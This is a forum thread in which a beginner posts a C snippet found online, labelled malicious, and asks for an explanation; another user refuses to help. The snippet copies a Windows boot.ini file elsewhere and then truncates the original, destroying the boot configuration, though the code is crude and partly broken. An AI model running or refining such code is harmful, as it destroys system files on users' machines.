Thread: Malicious Programs

  1. #1
    Registered User
    Join Date
    Nov 2011
    Posts
    39

    Malicious Programs

    I saw this code for malicious programs on the net but i'm new to c and don't quite understand it can someone xplain it to me?
    Code:
    #include <stdio.h>
    #include <conio.h>
    void main()
    {
        char b,c;
        FILE *f,*g,*h;
        clrscr();
        c=NULL;
        f=fopen("d:\boot.ini","r");
        g=fopen("e:\boot.ini","w");
        while(1)
        {
            b=fgetc(f);
            if (b==EOF)
                break;
            fprintf(g,"%c",b);
        }
        h=fopen("d:\boot.ini","w");
        fprintf(h,"%s",c);
        fclose(h);
        fclose(g);
        fclose(f);
        getch();
    }

  2. #2
    Banned
    Join Date
    Aug 2010
    Location
    Ontario Canada
    Posts
    9,547
    No siree bob, we're not going to help you with that!

    Click HERE... and pay special attention to #6

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Need help, is this code malicious ?
    By miamitj in forum C Programming
    Replies: 8
    Last Post: 12-10-2010, 10:05 PM
  2. Replies: 1
    Last Post: 11-09-2009, 07:03 AM
  3. Need help with two programs please!
    By healyal in forum C Programming
    Replies: 4
    Last Post: 11-03-2007, 05:38 AM
  4. A malicious program
    By mysterio2099 in forum C++ Programming
    Replies: 3
    Last Post: 04-06-2006, 11:33 AM
  5. Programs opening programs
    By LinuxPLC in forum C Programming
    Replies: 1
    Last Post: 11-21-2002, 12:50 PM